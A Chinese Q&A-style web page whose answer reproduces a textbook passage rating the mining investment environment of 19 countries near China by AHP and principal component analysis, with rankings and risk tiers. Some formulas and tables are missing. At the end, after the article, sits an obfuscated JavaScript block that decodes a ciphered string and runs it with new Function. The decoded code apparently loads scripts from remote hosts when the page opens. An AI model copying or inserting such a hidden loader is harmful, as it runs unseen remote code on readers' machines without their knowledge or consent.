矿产投资环境风险评价计算

2025-03-21 14:52:57
推荐回答(1个)
回答(1):

(1)基于AHP的矿业投资环境评价

首先,根据表9.3的评价指标体系,在层次分析软件yaahp4.0中构建层次结构图(图9.9)。

图9.9 层次结构图

根据层次结构图,采用1~9标度法,表9.4判断矩阵表用专家打分法建立判断矩阵(表9.4)。

表9.4 判断矩阵表

用和积法计算判断矩阵的最大特征向量W 为

W=(W1,W2,W3,W4T=(0.6328,0.2421,0.0756,0.0494)T

进一步计算判断矩阵的最大特征根λmax=4.25212,判断矩阵的一致性指标为

国外油气与矿产资源利用风险评价与决策支持技术

因为C.R.=0.0845﹤0.10,所以判断矩阵具有可以接受的一致性。同理,可以求出各个子目标层相对目标层的各自权重及层次单排序(表9.5)。

由于综合评价体系包含的指标很多,并且各个指标单位不同,而且有的数据差距较大,这样就要求在进行综合评价值计算之前,首先对所收集的数据进行无量纲化处理,否则无法对其进行综合评价。对数据进行无量纲化处理的方法有很多种,本书利用SPSS16.0软件对原始收集的数据进行了标准化。

表9.5 各项评价指标层次单排序

在评价各个国家的综合矿业投资环境得分时,本书采用的模型是

国外油气与矿产资源利用风险评价与决策支持技术

式中:Z为各个国家各因素最后综合评价得分值;Wi为各个指标因素权重;ηij为标准化后的数据值。

根据上述评价过程,得出我国周边主要国家的矿业投资环境指标综合得分(表9.6)。

表9.6 层次分析法各指标因素得分及综合评价结果排序表

续表

根据表9.6绘制柱状图(图9.10)。

图9.10 我国周边19个主要国家矿业投资环境综合评价排序图

由上图可以看出,我国周边国家的矿业投资环境总体水平差异明显。矿业投资环境综合评价得分排在前3位的分别是俄罗斯、哈萨克斯坦和蒙古,综合得分排在后3位的分别是越南、阿富汗和尼泊尔。综合评价得分最高的是俄罗斯,得分最低的是尼泊尔。另外,综合评价得分较高的国家主要分布在中亚地区。东南亚地区综合评价得分水平一般,处在中等水平。综合评价得分较低的国家,主要是一些经济发展较为落后的国家,这些国家经济社会发展较为滞后,加上国内矿业资源的匮乏,矿业投资环境相对也较差。

(2)矿业投资环境计算结果分析

从上述综合评价计算结果可以看出,我国周边国家的矿业投资环境总体水平存在着较大差别。具体分析,在资源因素、政治政策环境、经济因素,以及基础设施因素上,我国周边国家的得分差异也较为明显。

我国周边国家的资源要素得分总体差异较大(图9.11),这说明我国周边国家或地区的矿产资源分布并不均衡。资源因素得分排在前5位的分别是俄罗斯、哈萨克斯坦、蒙古、乌兹别克斯坦和吉尔吉斯斯坦,得分排在后5位的依次是伊朗、泰国、阿富汗、越南和尼泊尔。俄罗斯固体矿产资源丰富,特别是铁矿、铜矿和铅锌矿的储量巨大,加上俄罗斯国内较为完善的地质勘探工作,使得俄罗斯的资源禀赋极具优势。而蒙古的锰矿、铜矿资源储量较为丰富。哈萨克斯坦铁矿的储量和产量都在中亚地区占有重要地位。伊朗的铜矿和锌矿储量丰富,伊朗铜矿储量占全球总储量的8%左右,排名世界第6位;但是伊朗铜产量却只有世界总产量的1%,主要原因是缺乏投资以及勘探的力度不够。伊朗非常注重和支持吸引国外资金,因而伊朗矿业投资存在着巨大的潜力。

图9.11 资源因素评价得分排序图

在政治政策环境上,得分最高的是乌兹别克斯坦,0.125;得分最低的是印度,-0.1694(图9.12)。得分排在前列的国家为乌兹别克斯坦、土库曼斯坦、蒙古、马来西亚和吉尔吉斯斯坦,得分较低的是越南、印度尼西亚、塔吉克斯坦、阿富汗和印度。得分较高的主要是中亚地区的国家,而中东地区相应得分较低。这是由于近年来中亚国家政局逐渐稳定,而且为了鼓励国外资本进入本国共同开发矿业,中亚国家采取了很多优惠政策,对国外投资采取鼓励的措施。而中东地区的国家,比如阿富汗由于战乱不断,政策缺乏连续性,对国外资本的吸引力相对不足。印度、印度尼西亚等国由于也是发展中国家,正处于工业化高速发展的阶段,国内对矿产资源的需求量大,为优先保证本国供应,政策上严格限制国外投资矿业领域,因而外资进入存在着较大的政策障碍。

在经济环境上,印度得分最高,整体经济环境较好(图9.13)。排在后面的依次是蒙古、越南、巴基斯坦、泰国和缅甸,其余国家的经济环境得分较低。得分排在前列的国家,主要是国内宏观经济在保持较高增长的同时,很好地控制了通货膨胀,使得经济取得稳定的发展。而其他国家,尤其是中亚一些国家,虽然经济保持了较高的增长速度,但是却伴随着较高的通货膨胀,经济发展出现了“两高”现象。比如塔吉克斯坦2008年保持了7.8%的增长速度,但是同期的通货膨胀率却达到了19.7%,这些都是经济发展中潜在的不稳定因素,另外失业率也居高不下,这些都对经济投资环境带来了负面影响。

图9.12 政治政策因素评价得分排序图

图9.13 经济因素评价得分排序图

在基础设施因素上,得分最高的依然是印度,其次是俄罗斯、越南、蒙古、马来西亚、巴基斯坦和菲律宾,其余国家得分较低(图9.14)。从基础设施要素中的详细评价指标可知,在铁路、公路覆盖率两项指标上,印度的得分都是最高的,因而印度矿业投资环境有着完善的硬件配套基础设施,同时印度的信息网络也较为发达,信息化程度较高,这些都是印度较其他国家优势明显的要素。而得分较低、排名靠后的,主要是中亚地区一些国家。这些国家的交通运输线路年久失修,损坏严重,不符合现代使用技术标准;而且有的矿区位于偏远地带,运输极为不方便,也增加了简介投资成本。基础设施的不完善,极大地制约着矿业的开发和勘探,也不利于吸引国外投资。

图9.14 基础设施因素评价得分排序图

总的来看,俄罗斯、中亚诸国、印度尼西亚和菲律宾等,其基础设施相对较好,其他周边国家相对较差。一些国家甚至连年战乱不断,地雷现在尚未排净,如柬埔寨、阿富汗、老挝等。这是在评价一个国家的矿业投资环境时所必须考虑的问题。

(3)矿业投资环境的主成分分析

运用主成分分析法,将评价指标体系中的17个评价指标原始数据输入SPSS 16.0软件中运算,方差解释的结果截图如下(图9.15)。

图9.15 SPSS方差解释结果截图

由图9.15可知,前6个变量的特征值累积贡献率为88.922%,该值大于85%,故取前6个变量作为主成分。进而根据因子荷载矩阵,建立如下的综合评价计量模型:

F=F1×44.365%+F2×15.721%+F3×10.489%+F4×7.882%+F5×6.199%+F6×4.266%

最后计算结果见表9.7。

表9.7 主成分分析法计算得分表

(4)矿业投资环境风险分析

1)层次分析法。

根据对我国周边国家矿业投资环境的评价计算结果(表9.6),对得分加以聚类,绘制出雷达图。可以明显地看出我国周边国家矿业投资环境的不同聚类分布(图9.16)。

从表9.6和图9.16可以看出,按照综合得分排序,俄罗斯、哈萨克斯坦、蒙古、乌兹别克斯坦和吉尔吉斯斯坦分列综合评价的前5名,而且俄罗斯的综合得分远远高于位于第2位的哈萨克斯坦,位居后3位的国家分别是越南、阿富汗和尼泊尔。

从各个国家影响矿业投资环境的相关因素的得分及所处位次来看,综合得分居后的国家,在各评价因素上的得分也都比较靠后。而综合得分居前的5个国家,也相应的都存在一些弱项。例如乌兹别克斯坦的经济因素、塔吉克斯坦的基础设施因素得分分别为-0.0147,-0.0309,排在所有国家中较靠后的位置。而作为新兴发展中国家的菲律宾和印度,虽然资源因素得分较高(分别为0.0814和0.2058),但是由于矿业对外引资的政策限制,加上与我国存在较大的竞争性,因而综合得分并不靠前。

由雷达图可以看出19个国家得分差距明显,呈现一定的分层。若以0.6分为基础单位,可以将19个国家分成4个档次,并根据得分区间将投资环境定义为优、良、一般、较差,及对各个国家的综合矿业投资环境加以分级(表9.8)。

图9.16 我国周边国家矿业投资环境综合评价得分雷达图(AHP)

表9.8 19个国家综合矿业投资环境评价分类

2)主成分分析法。

采用主成分分析法计算的结果见表9.9,根据主成分分析法计算的结果也呈现出一定的分层和聚集(图9.17)。

表9.9 19个国家综合矿业投资环境评价分类

图9.17 我国周边国家矿业投资环境综合评价得分雷达图(PCA)

同样,我们在这里以2.5分为基础单位,将19个国家分成4个档次,并根据得分区间将其综合矿业投资环境定义为优、良、一般、较差,及对各个国家的综合矿业投资环境加以分级(表9.9)。

从表9.8和表9.9可以看出,虽然两种方法分析结果存在有某些差异,但是两种方法最后的结果整体比较接近。在运用AHP分析得出的矿业投资环境评价为优和良的11国家中,运用主成分法得出的是8个国家,结果相似度为72.7%。因而,可以认为,分析计算的结果较为客观地反映了实际情况。

(5)综合分析结果

矿业是基础产业,矿业投资具有超前期、高风险、周期长、见效慢的特点。一方面,矿业投资环境的改善需要各国政府进一步完善矿业投资环境,加强交通、通信、动力等基础设施建设,以便为投资者在当地投资提供便利;另一方面,投资环境情况不像矿产资源状况,前者是动态的,后者是相对静态的。目前我国周边国家大部分均在努力改善其矿业投资环境,吸引外国矿业投资,是在向好的方向发展。积极参与其矿产资源勘查开发活动是当务之急。因此,对我国周边国家的矿业投资环境还需要进行连续的动态的分析,这样才能作出及时合理的决策。

综合上述分析,同时考虑到文化背景、民族习惯、环境压力,以及人民感情等方面的因素,研究认为,俄罗斯、哈萨克斯坦综合矿业投资环境为优,是我国矿业公司实施“走出去”战略的理想投资目标国;蒙古、吉尔吉斯斯坦、乌兹别克斯坦、土库曼斯坦、印度尼西亚、菲律宾、老挝、缅甸、塔吉克斯坦等国的矿业投资环境总体处于良好水平,也可作为矿业投资的合作对象;印度尼西亚和塔吉克斯坦两国的资源及政策相对较好,从第三级调到第二级;而印度由于和中国同属矿产资源需求大国,政治关系竞争多于合作,故将其调为第三级;缅甸、阿富汗和尼泊尔综合矿业投资环境则较差,同时由于政局动荡、国内政策的不连续,以及配套基础设施的不完善,因而存在着较大的投资风险。

总之,我国周边国家的矿业投资环境存在较大差异,投资环境好的国家,相应的矿业投资风险较小;而投资环境较差的国家,在进行矿业投资时存在着较高的风险(表9.10)。

表9.10 19个国家综合矿业投资环境评价结果表

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();